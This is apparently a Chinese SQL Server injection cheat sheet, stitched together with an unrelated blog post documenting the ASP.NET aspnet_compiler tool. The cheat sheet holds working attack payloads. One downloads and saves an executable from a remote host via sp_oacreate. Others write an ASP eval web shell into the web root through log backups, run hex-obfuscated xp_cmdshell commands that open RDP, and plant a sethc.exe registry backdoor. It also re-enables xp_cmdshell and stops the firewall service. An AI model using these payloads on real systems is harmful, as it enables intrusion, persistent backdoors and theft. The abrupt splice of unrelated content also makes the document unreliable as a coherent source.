1、drop table [regdir];create table [regdir](value nvarchar(1000) null,data nvarchar(1000) null)--
 
2、delete [regdir];insert [regdir]exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port'
 
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
十一、
 
----------------
---下载程序-----
----------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
1、declare @b varbinary(8000),@hr int,@http int,@down int exec sp_oacreate [microsoft.xmlhttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[http://192.168.1.6:800/wwwroot.rar],0 exec @hr = sp_oamethod @http,[send],null exec @hr=sp_oagetproperty @http,[responsebody],@b output exec @hr=sp_oacreate [adodb.stream],@down output exec @hr=sp_oasetproperty @down,[type],1 exec @hr=sp_oasetproperty @down,[mode],3 exec @hr=sp_oamethod @down,[open],null exec @hr=sp_oamethod @down,[write],null,@b exec @hr=sp_oamethod @down,[savetofile],null,[c:/a.exe],1 ;-- and 1=1
 
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
十二、
 
-----------------
-Log备份WebShell-
-----------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
alter database master set RECOVERY FULL
create table cmd (a image)--
backup log master to disk = 'c:\cmd' with init
insert into cmd (a) values ('<%eval(request("a")):response.end%>')--
backup log master to disk = 'C:\Inetpub\wwwroot\ri3.asp'--
drop table cmd--
2\
 
use mir
alter database mir set RECOVERY FULL --
create table cmd8 (a image)--
backup log mir to disk = 'c:\cmd8' with init --
insert into cmd8 (a) values ('<%eval(request("a")):response.end%>')--
backup log mir to disk = 'c:\backup.asp'--
drop table cmd8--
alter database mir set RECOVERY SIMPLE --
3\
create/**/table/**/[dbo].[shit_tmp]/**/([cmd]/**/[image])--
declare/**/@a/**/sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x6C0061006F007A0068006F007500/**/backup/**/log/**/@a/**/to/**/disk/**/=/**/@s/**/with/**/init,no_truncate--
insert/**/into/**/[shit_tmp](cmd)/**/values(0x3C256576616C28726571756573742822612229293A726573706F6E73652E656E64253E)--
select/**/@s=0x63003a005c0031002e00610073007000/**/backup/**/log/**/@a/**/to/**/disk=@s/**/with/**/init,no_truncate--
Drop/**/table/**/[shit_tmp]--
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
十三、
-------------------------------
--创建sp_readtextfile存储过程--
-------------------------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Create proc sp_readTextFile @filename sysname
as
 
  begin
  set nocount on
  Create table #tempfile (line varchar(8000))
  exec ('bulk insert #tempfile from "' + @filename + '"')
  select * from #tempfile
  drop table #tempfile
End
go
 
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
十四、开3389
===================================================================
declare @a varchar(255),@b varchar(255); set @a=0x6D61737465722E64626F2E78705F636D647368656C6C; set @b=0x636D64202F6320776D6963205244544F47474C45205748455245205365727665724E616D653D2725434F4D50555445524E414D4525272063616C6C20536574416C6C6F775453436F6E6E656374696F6E732031; exec @a @b
===================================================================
 
 
 
 
我记得2003的web目录是写在C:\WINDOWS\system32\inetsrv\MetaBase.xml
-----------------
---读取文件内容--
-----------------
exec sp_readTextFile 'c:\boot.ini'
 
 
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File  Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
 
 
-----------------------
---清除MsSql日志-------
-----------------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
set nocount on 
declare @logicalfilename sysname,
@maxminutes int,
@newsize int
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
----------------------
--停掉或激活某个服务--
----------------------
exec master..xp_servicecontrol 'stop','sharedaccess'
exec master..xp_servicecontrol 'start','sharedaccess'
 
--------------------
--列出驱动器的名称--
--------------------
 
EXEC [master].[dbo].[xp_availablemedia]
 
----------------------------------
--列出指定目录的所有下一级子目录--
----------------------------------
 
EXEC [master].[dbo].[xp_subdirs] 'c:\windows'
 
------------------------------
--列出当前错误日志的具体内容--
------------------------------
 
EXEC [master].[dbo].[xp_readerrorlog]
 
----------------------
--列出当前计算机名称--
----------------------
 
execute master..xp_getnetname
 
--------------------------------
-列出当前计算机的驱动器可用空间-
--------------------------------
 
execute master..xp_fixeddrives
 
========================
==列出服务器所有本地组==
========================
 
execute master..xp_enumgroups
 
======================
==获取MS SQL的版本号==
======================
 
execute master..sp_msgetversion
 
=========================================
==参数说明:目录名,目录深度,是否显示文件==
========================================= 
 
execute master..xp_dirtree 'c:' 
execute master..xp_dirtree 'c:',1 
execute master..xp_dirtree 'c:',1,1
 
=========================================
==列出服务器上安装的所有OLEDB提供的程序==
=========================================
 
execute master..xp_enum_oledb_providers
 
=========================
==列出服务器上配置的DNS==
=========================
 
execute master..xp_enumdsn 
 
删除存储过程 
 
drop PROCEDURE sp_addextendedproc
 
 
-----------------------
--删除sql危险存储过程--
-----------------------
 
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xp_cmdshell新的恢复办法
 
扩展储存过程被删除以后可以有很简单的办法恢复:
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
 
恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
 
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
 
-----------------------------
 
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'
 
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
 
 
开启cmdshell的sql语句
 
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
 
判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
 
恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
 
否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
 
堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshell 
 
读3389端口
regedit /e port.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
然后 type port.reg | find "PortNumber" 
sql 语句
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
declare @s varchar(4000) set @s=cast(0x65786563206D61737465722E2E78705F726567726561642027484B45595F4C4F43414C5F4D414348494E45272C2753595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D546370272C27506F72744E756D62657227 as varchar(4000));exec(@s); --
 
 
开启2003的终端(sa)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections','REG_DWORD','0'
 
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

预编译ASP.NET 把*.aspx.cs文件封装成dll文件

作者:admin 分类:工具收集, 技术文章 日期:18-02-2011
标签:    .

0

预编译ASP.NET 把*.aspx.cs文件封装成dll文件,可以使用.net framework中的aspnet_compiler工具,使用方法如下。
比如我们现在编译的应用程序,虚拟目录是aspnet,实际物理路径是E:aspnet,我们编译后的目标路径是E:www,那么我们只要执行如下命令就可以了:

1
aspnet_compiler -v /Aspnet -p c:aspnet c:www

执行完成后,我们发现E盘下生成了www的目录,里边的子目录App_Code和所有.cs文件都不见了,还有master页及其代码.cs文件也不见了。多了一个bin目录(里边是些.compiled和dll文件)和一个PrecompiledApp.config文件。其实这时候.aspx文件也被编译了,只是它作为一个标记文件还存在,实际上没有任何实质性的内容(我们发现这时候每个aspx文件的内容都是“这是预编译工具生成的标记文件,不应被删除!”,其实删了也无所谓)。
aspnet_compiler是个很不错的工具,用来预编译ASP.NET应用程序。打开Visual Studio 2005命令提示就可以执行了。详细的可以aspner_compiler -?看看帮助。

aspner_compiler 地址:C:WINDOWSMicrosoft.NETFrameworkv2.0.50727

下面是一个我在实际使用过程中的例子:

首先新建一个网站,建一个名为IMG.ASPX的页面来生成验证码,而我想封装这个页面。

使用上述的命令后,加入E:www文件夹下会有一个dll文件,我这名为“App_Web_krtwag-s.dll”,然后就可以在其他项目中添加引用,然后建立一个无后台的空页面,将页面头部的Inherits属性更改为”IMG,App_Web_krtwag-s” 之后运行页面就会得到和封装前IMG.aspx页面运行相同的效果。

早于 ASP.NET 2.0 版的 ASP.NET 版本中没有 ASP.NET 编译工具。

复制

1
2
3
4
5
6
7
aspnet_compiler  [-?]
                 [-m metabasePath | -v virtualPath [-p physicalPath]]
                 [[-u] [-f] [-d] [-fixednames] targetDir]
                 [-c]
                 [-errorstack]
                 [-nologo]
                 [[-keyfile file | -keycontainer container ] [-aptca] [-delaysign]]

选项
——————————————————————————–

选项
说明

-m metabasePath
指定要编译的应用程序的完整 IIS 元数据库路径。 IIS 元数据库是用于配置 IIS 的分层信息存储区。 例如,默认 IIS 网站的元数据库路径是 LM/W3SVC/1/ROOT。

此选项不能与 -v 选项或 -p 选项一起使用。

-v virtualPath
指定要编译的应用程序的虚拟路径。

如果还指定了 -p,则使用伴随的 physicalPath 参数的值来定位要编译的应用程序。 否则,将使用 IIS 元数据库,并且此工具假定源文件位于默认网站(在 LM/W3SVC/1/ROOT 元数据库节点中指定)中。

此选项不能与 -m 选项一起使用。

-p physicalPath
指定包含要编译的应用程序的根目录的完整网络路径或完整本地磁盘路径。 如果未指定 -p,则使用 IIS 元数据库来查找目录。

此选项必须与 -v 选项一起使用,不能与 -m 选项一起使用。

-u
指定 Aspnet_compiler.exe 应创建一个预编译的应用程序,该应用程序允许对内容(例如 .aspx 页)进行后续更新。

如果省略该选项,生成的应用程序将仅包含编译的文件,而无法在部署服务器上进行更新。 只能通过更改源标记文件并重新编译来更新应用程序。

必须包括参数 targetDir。

使用此选项时,不会编译 .aspx 文件中的代码块(也就是位于 script 元素中或 <% 和 %> 标记之间的代码)。 因此,如果这些代码块中存在编译错误,则只能在运行时显示错误,因为只有这样才能完全编译 .aspx 文件。 将此选项用于依赖于 .aspx 文件中的代码块的站点通常是不安全的。

-f
指定该工具应该覆盖 targetDir 目录及其子目录中的现有文件。

-d
重写应用程序源配置文件中定义的设置,强制在编译的应用程序中包括调试信息。 否则,将不会发出调试输出。

不能将 -d 选项用于就地编译;就地编译使用调试选项的配置设置。

targetDir
将包含编译的应用程序的根目录的网络路径或本地磁盘路径。 如果未包括 targetDir 参数,则就地编译应用程序。

-c
指定应完全重新生成要编译的应用程序。 已经编译的组件将重新进行编译。 如果省略此选项,该工具将仅生成应用程序中自上次执行编译以来被修改的那些部分。

-errorstack
指定该工具应在未能编译应用程序时包括堆栈跟踪信息。

-keyfile file
指定应该将 AssemblyKeyFileAttribute(指示包含用于生成强名称的公钥/私钥对的文件名)应用于编译好的程序集。

此选项必须与 -aptca 选项一起使用。 如果代码文件中已经将该特性应用于程序集,Aspnet_compiler.exe 将引发一个异常。

-keycontainer container
指定应该将 AssemblyKeyNameAttribute(指示用于生成强名称的公钥/私钥对的容器名)应用于编译好的程序集。

此选项必须与 -aptca 选项一起使用。 如果代码文件中已经将该特性应用于程序集,Aspnet_compiler.exe 将引发一个异常。

-aptca
指定应该将 AllowPartiallyTrustedCallersAttribute(允许部分受信任的调用方访问程序集)应用于 Aspnet_compiler.exe 生成的具有强名称的程序集。

此选项必须与 -keyfile 或 -keycontainer 选项一起使用。 如果代码文件中已经将该特性应用于程序集,Aspnet_compiler.exe 将引发一个异常。

-delaysign
指定应该将 AssemblyDelaySignAttribute(指示应该只使用公钥标记对程序集进行签名,而不使用公钥/私钥对)应用于生成的程序集。

此选项必须与 -keyfile 或 -keycontainer 选项一起使用。 如果代码文件中已经将该特性应用于程序集,Aspnet_compiler.exe 将引发一个异常。

使用 -delaysign 选项时,Aspnet_compilier.exe 生成的代码在完成代码签名之前即可运行。 必须确保该代码在完成签名之前不易受到恶意用户的攻击。

-fixednames
指定应该为应用程序中的每一页生成一个程序集。 每个程序集的名称使用原始页的虚拟路径,除非此名称超过操作系统的文件名限制。如果超过限制,将生成一个哈希值,并将其用于程序集名称。

不能将 -fixednames 选项用于就地编译;就地编译使用编译批处理模式的配置设置。

-nologo
取消显示版权信息。

-?
显示该工具的命令语法和选项。

备注
——————————————————————————–

有两个版本的 ASP.NET 编译工具:

.NET Framework 2.0 中附带的版本。 可以使用此版本编译针对 .NET Framework 2.0、.NET Framework 3.0 或 .NET Framework 3.5 的网站。 这些站点必须部署在应用程序池中,该应用程序池与 .NET Framework 的目标版本关联。

.NET Framework 4 中附带的版本。 可以使用此版本编译针对 .NET Framework 4 及更高版本的网站。 此版本的工具可以创建仅适用于 .NET Framework 4 CLR 的程序集,即使 Web.config 文件缺少 targetFramework 特性。

如果打算将应用程序部署到与 .NET Framework 4 版 相关联的应用程序池,则可以使用此版本来编译 Web.config 文件指示其面向早期版本之一的应用程序。

有关如何开发、编译和部署特定于 .NET Framework 版本的网站的更多信息,请参见针对 ASP.NET Web 项目的 .NET Framework 多目标功能 和 ASP.NET 并行执行概述。 有关 ASP.NET 编译工具如何确定网站的目标 .NET Framework 版本的信息,请参见 BuildManager..::..TargetFramework 属性。

可以通过以下两种常用方式来使用 ASP.NET 编译工具:就地编译和为部署进行的编译,后者需要指定目标输出目录。 下面的几节将介绍这些方案。

就地编译应用程序
ASP.NET 编译工具可以就地编译应用程序,也就是说,它模仿对应用程序发出多个请求的行为,从而导致进行常规编译。 预编译站点的用户将不会遇到因第一次请求而编译页面带来的延迟。

请注意,如果使用的是模拟帐户,则该帐户和登录用户帐户都必须具有对目标的写访问权限,预编译才能成功。

就地预编译站点时,请注意下列事项:

站点将保留它的文件和目录结构。

服务器上必须具有供此站点使用的所有编程语言的编译器。

如果任何文件编译失败,整个站点的编译将失败。

还可以在向应用程序添加新的源文件之后就地重新编译应用程序。 除非包括 -c 选项,否则该工具仅编译新文件和更改过的文件。

说明
编译包含嵌套应用程序的应用程序时,不会编译嵌套应用程序。 必须单独编译嵌套应用程序。

说明
当您编译包含母版页的 Web 应用程序时,如果将该应用程序编译为可更新的站点,则编译可能会失败并且会发生命名冲突。 如果母版页的名称与从该母版页派生的内容页的命名空间名称相匹配,则可能发生该冲突。 (继承关系是由 @ Page 指令的 Inherits 特性建立的。) 若要解决此问题,可以更改母版页的类名或者更改命名空间名称,或者可以将该应用程序编译为不可更新。

说明
如果使用工具的 .NET Framework 4 版本来就地预编译网站,并且该站点面向 .net Framework 的早期版本,同时与面向 .NET Framework 2.0 CLR 的应用程序池相关联,则对 Web 应用程序的首次请求将导致动态编译,就如同尚未对该站点进行预编译。 这是因为命令行编译器编译到 .NET Framework 2.0 CLR 无法识别的 .NET Framework 4 临时文件夹中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
为进行部署编译应用程序
通过指定 targetDir 参数来编译应用程序以进行部署(编译到某个目标位置)。 targetDir 可以是 Web 应用程序的最终位置;也可以进一步部署编译好的应用程序。 
 
使用 -u 选项将以下面的方式编译应用程序:可以对编译好的应用程序中的某些文件做出更改,而无需重新编译该应用程序。 Aspnet_compiler.exe 区分静态和动态文件类型之间的不同,并在创建生成的应用程序时,以不同的方式对它们进行处理。 
 
静态文件类型是指那些没有关联的编译器或生成提供程序的文件类型,例如具有 .css、.gif、.htm、.html、.jpg、.js 等扩展名的文件。 这些文件只是复制到目标位置,并且在保留的目录结构中保持它们的相对位置。 
 
动态文件类型是指那些具有关联的编译器或生成提供程序的文件类型,包括具有 ASP.NET 特定文件扩展名(如 .asax、.ascx、.ashx、.aspx、.browser、.master 等等)的文件。 ASP.NET 编译工具从这些文件生成程序集。 如果省略 -u 选项,该工具还会创建具有文件扩展名 .COMPILED 的文件,这些文件将原始源文件映射到它们的程序集。 为确保保留应用程序源的目录结构,该工具在目标应用程序的相应位置中生成占位符文件。 
 
必须使用 -u 选项,以指示可以修改编译好的应用程序的内容。 否则,将忽略后续修改或者导致运行时错误。 
 
下表描述了在包括 -u 选项的情况下,ASP.NET 编译工具是如何处理不同的文件类型的。 
 
 
文件类型 
 编译器操作 
 
.ascx、.aspx、.master 
 这些文件将被拆分为标记和源代码,其中包括代码隐藏文件。 源代码编译到程序集中,其名称派生于哈希算法,且程序集放置在 Bin 目录中。 任何内联代码(即包含在 <script runat="server"> 元素中的代码)都包括在标记中,不进行编译。 将创建与源文件同名的新文件来包含标记,新文件位于相应的输出目录中。 
 
.ashx、.asmx 
 这些文件不进行编译,而是原样移动到输出目录中。 如果希望编译处理程序代码,请将这些代码放入 App_Code 目录的源代码文件中。 
 
.cs、.vb、.jsl、.cpp 
 
(不包括先前列出的文件类型的代码隐藏文件) 
 这些文件会进行编译,并作为资源包含在引用它们的程序集中。 源文件不复制到输出目录中。 如果不引用代码文件,则这些文件不会进行编译。 
 
自定义文件类型 
 这些文件不进行编译。 这些文件复制到相应的输出目录中。 
 
App_Code 子目录中的源代码文件 
 这些文件编译到程序集中,且放置在 Bin 目录中。 
 
说明
App_Code 目录中的静态文件类型不复制到输出目录中。 
App_GlobalResources 子目录中的 .resx.resource 文件 
 这些文件编译到程序集中,且放置在 Bin 目录中。 不会在主输出目录中创建 App_GlobalResources 子目录,且不会将源目录中的 .resx.resources 文件复制到输出目录中。 
 
说明
App_GlobalResources 子目录中的资源文件先编译到程序集中,然后编译 App_Code 子目录中的代码。不支持在编译之后修改资源文件。 
App_LocalResources 子目录中的 .resx.resource 文件 
 这些文件不进行编译,它们复制到相应的输出目录中。 
 
App_Themes 子目录中的 .skin 文件 
 .skin 文件和静态主题文件不进行编译,它们复制到相应的输出目录中。 
 
.browser 
 
Web.config 
 
静态文件类型 
 
Bin 目录中已存在的程序集 
 这些文件原样复制到输出目录中。 
 
 
下表描述了在省略 -u 选项的情况下,ASP.NET 编译工具是如何处理不同的文件类型的。 
 
 说明  
不会提供阻止您修改已编译应用程序的源代码的警告。 
 
 
 
文件类型 
 编译器操作 
 
.aspx、.asmx、.ashx、.master 
 这些文件被拆分为标记和源代码,其中包括代码隐藏文件和包含在 <script runat="server"> 元素中的任何代码。 源代码编译到程序集中,其名称派生于哈希算法。 生成的程序集放置在 Bin 目录中。 任何内联代码(即包含在 <% 和 %> 括号之间的代码)包括在标记中,不进行编译。 编译器将创建新文件,以包括与源文件同名的标记。 这些生成的文件放置在 Bin 目录中。 编译器还会创建与源文件同名的文件,但新创建的文件具有扩展名 .COMPILED 且包含映射信息。 .COMPILED 文件放置在与源文件的原始位置相对应的输出目录中。 
 
.ascx 
 这些文件被拆分为标记和源代码。 源代码编译到程序集中,且放置在 Bin 目录中,其名称派生于哈希算法。 不生成标记文件。 
 
.cs、.vb、.jsl、.cpp 
 
(不包括先前列出的文件类型的代码隐藏文件) 
 从 .ascx、.ashx.aspx 文件生成的程序集所引用的源代码编译到程序集中,且放置在 Bin 目录中。 不复制源文件。 
 
自定义文件类型 
 这些文件像动态文件一样进行编译。 编译器可以将映射文件放置在输出目录中,具体取决于它们所基于的文件类型。 
 
App_Code 子目录中的文件 
 该子目录中的源代码文件编译到程序集中,且放置在 Bin 目录中。 
 
说明
App_Code 目录中的静态文件类型不复制到输出目录中。 
App_GlobalResources 子目录中的文件 
 这些文件编译到程序集中,且放置在 Bin 目录中。 不会在主输出目录下创建 App_GlobalResources 子目录。 如果配置文件指定了 appliesTo="All",则 .resx.resources 文件复制到输出目录中。 如果这些文件被 BuildProvider 引用,则不会被复制。 
 
App_LocalResources 子目录中的 .resx.resource 文件 
 这些文件编译到程序集中,具有唯一的名称,且放置在 Bin 目录中。 不会将 .resx.resource 文件复制到输出目录中。 
 
App_Themes 子目录中的 .skin 文件 
 主题文件编译到程序集中,且放置在 Bin 目录中。 为 .skin 文件创建存根 (stub) 文件,并将它们放置在相应的输出目录中。 静态文件(如 .css)复制到输出目录中。 
 
.browser 
 
Web.config 
 
静态文件类型 
 
Bin 目录中已存在的程序集 
 这些文件原样复制到输出目录中。

Advertise Here